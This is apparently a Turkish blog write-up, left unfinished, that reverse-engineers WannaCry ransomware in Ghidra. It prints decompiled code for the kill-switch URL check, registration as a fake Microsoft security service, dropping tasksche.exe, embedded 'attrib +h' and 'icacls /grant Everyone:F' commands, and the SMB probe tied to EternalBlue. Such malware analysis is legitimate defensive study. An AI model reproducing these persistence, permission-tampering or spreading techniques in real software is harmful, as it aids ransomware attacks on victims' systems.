Wannacry'ın Analizi

Öncelikle elimizdekini ghidraya yükleyip stringlerde önemli birşey olup olmadığına bakalım,

Fakat başlamadan önce, elimde wannacry’ın 3 farklı versiyonu var, ve her biri birbirinden farklı gözüküyor. Stringlerini yanyana koyarsak:

İlk analiz, Stringler ve Entry

Wannacry’ın ilk ortaya çıkan versiyonu ile başlamayı tercih ettim.

Daha başlamadan bazı ilginç stringleri görmek mümkün, ve de artık herkes ne olduğunu bildiği için bu stringlerin ne olduğunu yorumlaması daha kolay.

\\%s\IPC$ yayılma vektörünün SMB üzerinden olduğuna işaret ederken, http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com ister istemez çok göze çarpıyor.

Entry yi decompile ederek başlayabiliriz.

void entry(void)

{
  undefined4 *puVar1;
  undefined4 *in_FS_OFFSET;
  byte *local_78;
  char **local_74;
  _startupinfo local_70;
  int local_6c;
  char **local_68;
  int local_64;
  _STARTUPINFOA local_60;
  undefined *local_1c;
  undefined4 uStack20;
  undefined *puStack16;
  undefined *puStack12;
  undefined4 local_8;
  
  puStack12 = &DAT_0040a1a0;
  puStack16 = &DAT_00409ba2;
  uStack20 = *in_FS_OFFSET;
  *(undefined4 **)in_FS_OFFSET = &uStack20;
  local_1c = &stack0xffffff78;
  local_8 = 0;
  __set_app_type(2);
  _DAT_0070f894 = 0xffffffff;
  _DAT_0070f898 = 0xffffffff;
  puVar1 = (undefined4 *)__p__fmode();
  *puVar1 = DAT_0070f88c;
  puVar1 = (undefined4 *)__p__commode();
  *puVar1 = DAT_0070f888;
  _DAT_0070f890 = *(undefined4 *)_adjust_fdiv_exref;
  FUN_00409ba1();
  if (_DAT_00431410 == 0) {
    __setusermatherr(&LAB_00409b9e);
  }
  FUN_00409b8c();
  _initterm(&DAT_0040b00c,&DAT_0040b010);
  local_70 = DAT_0070f884;
  __getmainargs(&local_64,&local_74,&local_68,_DoWildCard_0070f880,&local_70);
  _initterm(&DAT_0040b000,&DAT_0040b008);
  local_78 = *(byte **)_acmdln_exref;
  if (*local_78 != 0x22) {
    do {
      if (*local_78 < 0x21) goto LAB_00409b09;
      local_78 = local_78 + 1;
    } while( true );
  }
  do {
    local_78 = local_78 + 1;
    if (*local_78 == 0) break;
  } while (*local_78 != 0x22);
  if (*local_78 != 0x22) goto LAB_00409b09;
  do {
    local_78 = local_78 + 1;
LAB_00409b09:
  } while ((*local_78 != 0) && (*local_78 < 0x21));
  local_60.dwFlags = 0;
  GetStartupInfoA((LPSTARTUPINFOA)&local_60);
  GetModuleHandleA((LPCSTR)0x0);
  local_6c = FUN_00408140();
                    /* WARNING: Subroutine does not return */
  exit(local_6c);
}

En başta korkutucu gözükmesine rağmen, eğer reversing ile uğraşıyorsanız bunun compiler tarafından generate edilen ve winMain’e kadar olan kod olduğunu tanıyacaksınızdır. İsimleri ve function signature’ları düzenleyerek başlayalım!

Malesef ghidra winmain’i otomatik olarak tanımıyor, bu nedenle elle düzenlememiz gerekiyor.

undefined4 FUN_00408140 (void)
int wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR pCmdLine, int nCmdShow)

Devam edip winMain’de neler oluyor görelim

WinMain


int wWinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,PWSTR pCmdLine,int nCmdShow)

{
  undefined4 uVar1;
  int iVar2;
  undefined4 *puVar3;
  undefined4 *puVar4;
  undefined4 uStack100;
  undefined4 uStack96;
  undefined4 uStack92;
  undefined4 local_50 [14];
  undefined4 local_17;
  undefined4 local_13;
  undefined4 local_f;
  undefined4 local_b;
  undefined4 local_7;
  undefined2 local_3;
  undefined local_1;
  
  iVar2 = 0xe;
  puVar3 = (undefined4 *)s_http://www.iuqerfsodp9ifjaposdfj_004313d0;
  puVar4 = local_50;
  while (iVar2 != 0) {
    iVar2 = iVar2 + -1;
    *puVar4 = *puVar3;
    puVar3 = puVar3 + 1;
    puVar4 = puVar4 + 1;
  }
  *(undefined *)puVar4 = *(undefined *)puVar3;
  local_17 = 0;
  local_13 = 0;
  local_f = 0;
  local_b = 0;
  local_7 = 0;
  local_3 = 0;
  uStack92 = 0;
  uStack96 = 0;
  uStack100 = 0;
  local_1 = 0;
  uVar1 = InternetOpenA(0,1);
  iVar2 = InternetOpenUrlA(uVar1,&uStack100,0,0,0x84000000,0);
  if (iVar2 == 0) {
    InternetCloseHandle(uVar1);
    InternetCloseHandle(0);
    FUN_00408090();
    return 0;
  }
  InternetCloseHandle(uVar1);
  InternetCloseHandle(iVar2);
  return 0;
}

wininet.h den alınan bazı standart fonksiyonları görüyorum, fakat ghidra tekrar bunların ne olduğunu tanımıyor. Biz de elle düzeltiriz, ne yapalım.

void InternetOpenA(
  LPCSTR lpszAgent,
  DWORD  dwAccessType,
  LPCSTR lpszProxy,
  LPCSTR lpszProxyBypass,
  DWORD  dwFlags
)

void InternetOpenUrlA(
  HINTERNET hInternet,
  LPCSTR    lpszUrl,
  LPCSTR    lpszHeaders,
  DWORD     dwHeadersLength,
  DWORD     dwFlags,
  DWORD_PTR dwContext
)

bool InternetCloseHandle(
  HINTERNET hInternet
)

Yukarıdaki signature’ları girmeme rağmen ghidra HINTERNET’i tanımıyor, ve dökümanlarda ne olduğuna dair herhangi bir şey bulamıyorum. Ben de handle olduğunu bilerek ve biraz güvenilir olsun diyerek bilmeden bir iş yapmak yerine void* ile değiştiriyorum.

Sonrasında daha anlaşılabilir olması için bazı değişken isimlerini değiştirelim.

iVar2 = 0xe;
puVar3 = (undefined4 *)s_http://www.iuqerfsodp9ifjaposdfj_004313d0;
puVar4 = local_50;
while (iVar2 != 0) {
	iVar2 = iVar2 + -1;
	*puVar4 = *puVar3;
	puVar3 = puVar3 + 1;
	puVar4 = puVar4 + 1;
}
counter_14 = 14;
some_url = (undefined4 *)s_http://www.iuqerfsodp9ifjaposdfj_004313d0;
some_url_dup = local_50;
while (counter_14 != 0) {
	counter_14 = counter_14 + -1;
	*some_url_dup = *some_url;
	some_url = some_url + 1;
	some_url_dup = some_url_dup + 1;
}

Gördüğüm kadarıyla sadece stack içine strcpy yapılıyor, devam edelim.

  InternetOpenA((LPCSTR)0x0,1,(LPCSTR)0x0,(LPCSTR)0x0,0);
  InternetOpenUrlA(hInternet,local_50,(LPCSTR)0x0,0,0x84000000,0);
  if (hInternet_00 == (void *)0x0) {
    InternetCloseHandle(hInternet);
    InternetCloseHandle((void *)0x0);
    FUN_00408090();
    return 0;
  }
  InternetCloseHandle(hInternet);
  InternetCloseHandle(hInternet_00);
  return 0;

Burada bir sıkıntı olduğu bariz. hInternet_00 kullanılmamasına rağmen handle kapatılıyor. Assembly kodunu takip edip ne olduğunu araştırdıktan sonra gördüğüm kadarıyla InternetOpenA ve InternetOpenUrlA bir şey returnlüyor, fakat ghidra bunu tanımıyor. HINTERNET döndürdüğünü tahmin ediyorum ve return tipini void* yapıyorum.

Mükemmel! İşte şimdi bir şeye benzedi.

  hInternet = InternetOpenA((LPCSTR)0x0,1,(LPCSTR)0x0,(LPCSTR)0x0,0);
  hInternet_00 = InternetOpenUrlA(hInternet,local_50,(LPCSTR)0x0,0,0x84000000,0);
  if (hInternet_00 == (void *)0x0) {
    InternetCloseHandle(hInternet);
    InternetCloseHandle((void *)0x0);
    FUN_00408090();
    return 0;
  }
  InternetCloseHandle(hInternet);
  InternetCloseHandle(hInternet_00);
  return 0;

Gördüğüm kadarıyla malware ilk olarak bir internet handle’ı açıyor ve o abidik gubidik url’den cevap alıp alamadığına bakıyor.Eğer bir cevap alamıyorsa handle NULL oluyor, ve program FUN_00408090() ile devam ediyor.

Fakat gördüğünüz gibi, eğer bir cevap alabiliyorsa, handle ları kapayıp, winmaini terminate ediyor.

Bu “Marcus Hutchins” tarafından bulunmuş olan meşhur wannacry killswitch’i, veya çoğunluğun onu bildiği adıyla twitterda malwareTech.

Ayrıca bir dakikanızı ayırıp bu malware’i düzenleyenleri takdir etmenizi rica ediyorum, sizi düşünüp handle ları kapıyorlar.

Başka bir şey olmadığına göreFUN_00408090() ı evil() olarak adlandırıp devam edelim

Evil()

void evil(void)

{
  int *piVar1;
  SC_HANDLE hSCManager;
  SC_HANDLE hSCObject; 
  SERVICE_TABLE_ENTRYA SStack16;
  undefined4 uStack8;
  undefined4 uStack4;
  
  GetModuleFileNameA((HMODULE)0x0,(LPSTR)&lpFilename_0070f760,0x104);
  piVar1 = (int *)__p___argc();
  if (*piVar1 < 2) {
    FUN_00407f20();
    return;
  }
  hSCManager = OpenSCManagerA((LPCSTR)0x0,(LPCSTR)0x0,0xf003f);
  if (hSCManager != (SC_HANDLE)0x0) {
    hSCObject = OpenServiceA(hSCManager,s_mssecsvc2.0_004312fc,0xf01ff);
    if (hSCObject != (SC_HANDLE)0x0) {
      FUN_00407fa0(hSCObject,0x3c);
      CloseServiceHandle(hSCObject);
    }
    CloseServiceHandle(hSCManager);
  }
  SStack16.lpServiceName = s_mssecsvc2.0_004312fc;
  SStack16.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)&LAB_00408000;
  uStack8 = 0;
  uStack4 = 0;
  StartServiceCtrlDispatcherA(&SStack16);
  return;
}

Microsoft dökümantasyonundan gördüğüm kadarıyla GetModuleFileName şuan çalışan executable’ın bulunduğu yeri döndürüyor. Direkt quote: Retrieves the fully qualified path for the file that contains the specified module. The module must have been loaded by the current process.

Yani lpFilename_0070f760 bu malware’in bulunduğu yer, ben de adını myPath olarak değiştiriyorum.

__p___argc() bize verilen argüman sayısını geri döndürüyor, Neden bunu winMain den evil() içine argüman olarak almamışlar bilmiyorum, ama yargılamıyorum. Ben de ismi piVar1 dan argc‘ye çeviriyorum.

  if (*argc < 2) {
    FUN_00407f20();
    return;
  }

Eğer argüman yoksa bu fonksiyon çağırılıyor. Ben de bunun adını hasNoArgs() olarak değiştiriyorum.

undefined4 hasNoArgs(void)

{
  FUN_00407c40();
  FUN_00407ce0();
  return 0;
}

Tamam o zaman, isimleri hasNoArgsPart1 ve hasNoArgsPart2 yapıp part1 e bakalım. Bu arada, isimlendirmemin nedeni eğer başka bir yerde bu fonksiyonlar kullanılıyorsa daha önce nerde denk geldiğimizi hatırlayabilmek.

Kendini Servis Olarak Kaydetmek

undefined4 hasNoArgsPart1(void)

{
  SC_HANDLE hSCManager;
  SC_HANDLE hService;
  char local_104 [260];
  
  sprintf(local_104,s_%s_-m_security_00431330,&myPath);
  hSCManager = OpenSCManagerA((LPCSTR)0x0,(LPCSTR)0x0,0xf003f);
  if (hSCManager != (SC_HANDLE)0x0) {
    hService = CreateServiceA(hSCManager,s_mssecsvc2.0_004312fc,
                              s_Microsoft_Security_Center_(2.0)_S_00431308,0xf01ff,0x10,2,1,
                              local_104,(LPCSTR)0x0,(LPDWORD)0x0,(LPCSTR)0x0,(LPCSTR)0x0,(LPCSTR)0x0
                             );
    if (hService != (SC_HANDLE)0x0) {
      StartServiceA(hService,0,(LPCSTR *)0x0);
      CloseServiceHandle(hService);
    }
    CloseServiceHandle(hSCManager);
    return 0;
  }
  return 0;
}

sprintf(local_104,s_%s_-m_security_00431330,&myPath); gördüğüm kadarıyla kendi ismi sonuna argüman olarak ` -m security` ekliyor.

Kısacası, yukarıdaki kod:

  • Kendisini bir servis olarak kaydedip “yeri + ` -m security`“‘yi executable dosyası olarak veriyor.
  • Servis ismini Microsoft Security Center(2.0) yapıyor.
  • CreateServiceA verdiği flaglar tüm yetkilere sahip olduğunu ve başlangıçta açıldığını gösteriyor.
  • Ve son olarak, servis olarak kendisini başlatıyor.

Resource 0x727

Part2 oldukça uzun ve çöp ile dolu, boş boş scrollamayın diye analiz ettikçe düzenleyerek koyacağım.

Öncelikle, kernel32.dll den bazı functionlar yükleniyor, bunların isimlerini değiştirelim.

  hModule = GetModuleHandleW(u_kernel32.dll_004313b4);
  if (hModule != (HMODULE)0x0) {
    DAT_00431478 = GetProcAddress(hModule,s_CreateProcessA_004313a4);
    _DAT_00431458 = GetProcAddress(hModule,s_CreateFileA_00431398);
    _DAT_00431460 = GetProcAddress(hModule,s_WriteFile_0043138c);
    _DAT_0043144c = GetProcAddress(hModule,s_CloseHandle_00431380);

Sonra kernel32.dll den yüklemenin başarılı olup olmadığını kontrol ediyor, ve 0x727 deki kaynağı buluyor.

    if ((((createProcess != (FARPROC)0x0) && (_createFile != (FARPROC)0x0)) &&
        (_writeFile != (FARPROC)0x0)) && (_closeHandle != (FARPROC)0x0)) {
      hResInfo = FindResourceA((HMODULE)0x0,(LPCSTR)0x727,&DAT_0043137c);
      if (hResInfo != (HRSRC)0x0) {
        hResData = LoadResource((HMODULE)0x0,hResInfo);
        if (hResData != (HGLOBAL)0x0) {
          local_260 = LockResource(hResData);
          if (local_260 != (LPVOID)0x0) {
            DVar2 = SizeofResource((HMODULE)0x0,hResInfo);

Eğer bulursa, yükleyip size’ını vs tutuyor.

Ondan sonra 2 tane calloc var fakat ghidra bunları tanımıyor.

puVar10 = local_207;
while (iVar3 != 0) {
	iVar3 = iVar3 + -1;
	*puVar10 = 0;
	puVar10 = puVar10 + 1;
}

puVar10 = local_103;
while (iVar3 != 0) {
	iVar3 = iVar3 + -1;
	*puVar10 = 0;
	puVar10 = puVar10 + 1;
}

Ondan sonrasında 2 tane sprintf var, ilkinde 2x %s ve ikincisinde bir adet %s olmasına rağmen ghidra başka hiçbir parametre olmadığında ısrarcı.

sprintf(&local_208,s_C:\%s\%s_00431358);
sprintf(&local_104,s_C:\%s\qeriuwjhrf_00431344);

Dissassembly ye bakarsak stack’e pushlanan parametreler olduğunu görmek mümkün. Gözüktüğü üzere ghidra variadic fonksiyonları tanımakta pek iyi değil, ben de signature’ları elle düzeltiyorum.

Override ettikten sonra şekil şu oluyor:

sprintf(&local_208,s_C:\%s\%s_00431358,s_WINDOWS_00431364,s_tasksche.exe_0043136c);
sprintf(acStack244,s_C:\%s\qeriuwjhrf_00431344,s_WINDOWS_00431364);

Burdan devam edince gözüktüğü üzere 0x727 deki kaynak tasksche üzerine yazılıyor ve çalıştırılıyor.

Bu kaynağı wrestool ile çıkarmak mümkün.

Çıkardıktan sonra kaynak şu şekilde tanınıyor: 0x727.bin: PE32 executable (GUI) Intel 80386, for MS Windows, hadi ghidraya atalım.

Stringlere bakınca bunun şifreleme kısmı olduğunu anlamak kolay. Hem krypto fonksiyonlarının sembolleri var, hem file extension listesi var, ve de gördüğüm kadarıyla bitcoin adresi var?

Şifreleme

Bu dosya da ilki gibi başlıyor, direkt winmain imzasını ekleyip içine atlıyorum.

int wWinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,PWSTR pCmdLine,int nCmdShow)

{
  int *piVar1;
  uint uVar2;
  DWORD DVar3;
  char *pcVar4;
  short *psVar5;
  code *pcVar6;
  int iVar7;
  undefined4 *puVar8;
  char **_Str2;
  undefined local_6e8 [1240];
  CHAR local_210;
  undefined4 local_20f [129];
  uint local_8;
  
  local_210 = DAT_0040f910;
  iVar7 = 0x81;
  puVar8 = local_20f;
  while (iVar7 != 0) {
    iVar7 = iVar7 + -1;
    *puVar8 = 0;
    puVar8 = puVar8 + 1;
  }
  *(undefined2 *)puVar8 = 0;
  *(undefined *)((int)puVar8 + 2) = 0;
  GetModuleFileNameA((HMODULE)0x0,&local_210,0x208);
  FUN_00401225((int)&lpMultiByteStr_0040f8ac);
  piVar1 = (int *)__p___argc();
  if (*piVar1 == 2) {
    _Str2 = &_Str2_0040f538;
    piVar1 = (int *)__p___argv();
    iVar7 = strcmp(*(char **)(*piVar1 + 4),(char *)_Str2);
    if ((iVar7 == 0) && (uVar2 = FUN_00401b5f((wchar_t *)0x0), uVar2 != 0)) {
      CopyFileA(&local_210,s_tasksche.exe_0040f4d8,0);
      DVar3 = GetFileAttributesA(s_tasksche.exe_0040f4d8);
      if ((DVar3 != 0xffffffff) && (iVar7 = FUN_00401f5d(), iVar7 != 0)) {
        return 0;
      }
    }
  }
  pcVar4 = strrchr(&local_210,0x5c);
  if (pcVar4 != (char *)0x0) {
    pcVar4 = strrchr(&local_210,0x5c);
    *pcVar4 = '\0';
  }
  SetCurrentDirectoryA(&local_210);
  FUN_004010fd(1);
  FUN_00401dab((HMODULE)0x0);
  FUN_00401e9e();
  FUN_00401064(s_attrib_+h_._0040f520,0,(LPDWORD)0x0);
  FUN_00401064(s_icacls_._/grant_Everyone:F_/T_/C_0040f4fc,0,(LPDWORD)0x0);
  iVar7 = FUN_0040170a();
  if (iVar7 != 0) {
    FUN_004012fd();
    iVar7 = FUN_00401437(local_6e8,(LPCSTR)0x0,0,0);
    if (iVar7 != 0) {
      local_8 = 0;
      psVar5 = (short *)FUN_004014a6(local_6e8,s_t.wnry_0040f4f4,&local_8);
      if (((psVar5 != (short *)0x0) &&
          (piVar1 = (int *)FUN_004021bd(psVar5,local_8), piVar1 != (int *)0x0)) &&
         (pcVar6 = (code *)FUN_00402924(piVar1,s_TaskStart_0040f4e8), pcVar6 != (code *)0x0)) {
        (*pcVar6)(0,0);
      }
    }
    FUN_0040137a();
  }
  return 0;
}

FUN_00401225‘a kadar ilginç bir şey yok, ona atlayalım bakalım.

void __cdecl FUN_00401225(int param_1)

{
  size_t sVar1;
  int iVar2;
  int iVar3;
  uint _Seed;
  int iVar4;
  undefined4 *puVar5;
  ushort *puVar6;
  int iVar7;
  ushort local_19c;
  undefined4 local_19a [99];
  DWORD local_c;
  uint local_8;
  
  local_19c = DAT_0040f874;
  iVar3 = 99;
  local_c = 399;
  puVar5 = local_19a;
  while (iVar3 != 0) {
    iVar3 = iVar3 + -1;
    *puVar5 = 0;
    puVar5 = puVar5 + 1;
  }
  *(undefined2 *)puVar5 = 0;
  GetComputerNameW((LPWSTR)&local_19c,&local_c);
  local_8 = 0;
  _Seed = 1;
  sVar1 = wcslen((wchar_t *)&local_19c);
  if (sVar1 != 0) {
    puVar6 = &local_19c;
    do {
      _Seed = _Seed * (uint)*puVar6;
      local_8 = local_8 + 1;
      puVar6 = puVar6 + 1;
      sVar1 = wcslen((wchar_t *)&local_19c);
    } while (local_8 < sVar1);
  }
  srand(_Seed);
  iVar3 = rand();
  iVar7 = 0;
  iVar4 = iVar3 % 8 + 8;
  if (0 < iVar4) {
    do {
      iVar2 = rand();
      *(char *)(iVar7 + param_1) = (char)(iVar2 % 0x1a) + 'a';
      iVar7 = iVar7 + 1;
    } while (iVar7 < iVar4);
  }
  while (iVar7 < iVar3 % 8 + 0xb) {
    iVar4 = rand();
    *(char *)(iVar7 + param_1) = (char)(iVar4 % 10) + '0';
    iVar7 = iVar7 + 1;
  }
  *(undefined *)(iVar7 + param_1) = 0;
  return;
}

Bu srand’a seed üretmek için custom bir algoritmaya benziyor. Büyük ihtimalle public keylerin oluşturulmasında kullanılan da bu.

  GetComputerNameW((LPWSTR)&cname,&cname_size);
  local_8 = 0;
  _Seed = 1;
  sVar1 = wcslen((wchar_t *)&cname);
  if (sVar1 != 0) {
    puVar6 = &cname;
    do {
      _Seed = _Seed * (uint)*puVar6;
      local_8 = local_8 + 1;
      puVar6 = puVar6 + 1;
      sVar1 = wcslen((wchar_t *)&cname);
    } while (local_8 < sVar1);
  }
  srand(_Seed);

Gözüktüğü kadarıyla bilgisayar ismini kullanarak bilgisayara özel bir seed oluşturmayı deniyor. Bu her bilgisayarın ortak anahtarı olmaması için önemli, böylece mağdur her cihaz için parayı ödemeli.

  iVar3 = rand();
  iVar7 = 0;
  iVar4 = iVar3 % 8 + 8;
  if (0 < iVar4) {
    do {
      iVar2 = rand();
      *(char *)(iVar7 + param_1) = (char)(iVar2 % 0x1a) + 'a';
      iVar7 = iVar7 + 1;
    } while (iVar7 < iVar4);
  }
  while (iVar7 < iVar3 % 8 + 0xb) {
    iVar4 = rand();
    *(char *)(iVar7 + param_1) = (char)(iVar4 % 10) + '0';
    iVar7 = iVar7 + 1;
  }

Gördüğüm kadarıyla bu kısım random bir alphanumeric string oluşturup, bunu parametre olarak verilen adrese yazıyor. Ben de fonksiyonun adını randomString() ve globalin adını generatedString yapıyorum.

Eternalblue?

Bu kısım gittikçe derinlere iniyor gibi gözüküyor, ben de ilk dosyaya geri dönüyorum.

\\%s\IPC$ yi hatırlayarak, bu stringi stack’de yukarı takip ederek eternalblue’nun nasıl kullanıldığını görmek istiyorum açıkçası.

Referanslara bakıp, bu stringin sadece FUN_004017b0() içinde kullanıldığını görüyorum, ve adını refersToIPC olarak değiştiriyorum.

refersToIPC’nin referanslarını takip ederek kendimi ` FUN_00401980()` de buluyorum.

To be continued

undefined4 __cdecl FUN_00401980(undefined4 param_1)

{
  undefined2 uVar1;
  int iVar2;
  int iVar3;
  int iVar4;
  undefined2 unaff_SI;
  undefined4 *puVar5;
  undefined4 uVar6;
  undefined4 uStack1072;
  undefined4 uStack1068;
  undefined4 uStack1064;
  undefined4 uStack1060;
  undefined4 uStack1056;
  undefined4 uVar7;
  char cStack1044;
  undefined4 local_410;
  undefined uStack1028;
  undefined uStack1027;
  undefined local_400;
  undefined local_3ff;
  undefined uStack1022;
  undefined uStack1021;
  
  iVar4 = 0xff;
  local_400 = 0;
  puVar5 = (undefined4 *)&local_3ff;
  while (iVar4 != 0) {
    iVar4 = iVar4 + -1;
    *puVar5 = 0;
    puVar5 = puVar5 + 1;
  }
  *(undefined2 *)puVar5 = 0;
  *(undefined *)((int)puVar5 + 2) = 0;
  local_410 = CONCAT22(local_410._2_2_,2);
  uStack1056 = param_1;
  uStack1060 = 0x4019b1;
  local_410 = Ordinal_11();
  uStack1060 = param_1;
  uStack1064 = 0x4019c2;
  uVar1 = Ordinal_9();
  uStack1064 = 0;
  uStack1068 = 1;
  uStack1072 = 2;
  uVar7 = CONCAT22(uVar1,unaff_SI);
  iVar4 = Ordinal_23();
  if (iVar4 != -1) {
    puVar5 = &uStack1060;
    uVar1 = 0x10;
    iVar3 = iVar4;
    iVar2 = Ordinal_4(iVar4,puVar5,0x10);
    if (iVar2 != -1) {
      iVar2 = Ordinal_19(iVar4,&DAT_0042e3d0,0x58,0);
      if (iVar2 != -1) {
        iVar2 = Ordinal_16(iVar4,&uStack1056,0x400,0);
        if (iVar2 != -1) {
          iVar2 = Ordinal_19(iVar4,&DAT_0042e42c,0x67,0);
          if (iVar2 != -1) {
            iVar2 = Ordinal_16(iVar4,&uStack1056,0x400,0);
            if (iVar2 != -1) {
              uVar6 = CONCAT13(local_3ff,CONCAT12(local_400,uVar1));
              iVar2 = refersToIPC(param_1,&stack0xfffffbce);
              uVar1 = (undefined2)uVar6;
              iVar2 = Ordinal_19(iVar4,&DAT_0042e494,iVar2,0,iVar3,puVar5,uVar6);
              if (iVar2 != -1) {
                iVar2 = Ordinal_16(iVar4,&uStack1056,0x400,0);
                if (iVar2 != -1) {
                  DAT_0042e510 = uStack1028;
                  DAT_0042e512 = uStack1028;
                  DAT_0042e514 = local_400;
                  DAT_0042e515 = local_3ff;
                  DAT_0042e511 = uStack1027;
                  DAT_0042e513 = uStack1027;
                  DAT_0042e516 = uStack1022;
                  DAT_0042e517 = uStack1021;
                  iVar3 = Ordinal_19(iVar4,&DAT_0042e4f4,0x4e,0,iVar3,puVar5,
                                     CONCAT13(local_3ff,CONCAT12(local_400,uVar1)));
                  if (iVar3 != -1) {
                    iVar3 = Ordinal_16(iVar4,&uStack1056,0x400,0);
                    if ((((iVar3 != -1) && ((char)((uint)uVar7 >> 8) == '\x05')) &&
                        ((char)((uint)uVar7 >> 0x10) == '\x02')) &&
                       (((char)((uint)uVar7 >> 0x18) == '\0' && (cStack1044 == -0x40)))) {
                      Ordinal_3(iVar4);
                      return 1;
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
    Ordinal_3(iVar4);
  }
  return 0;
}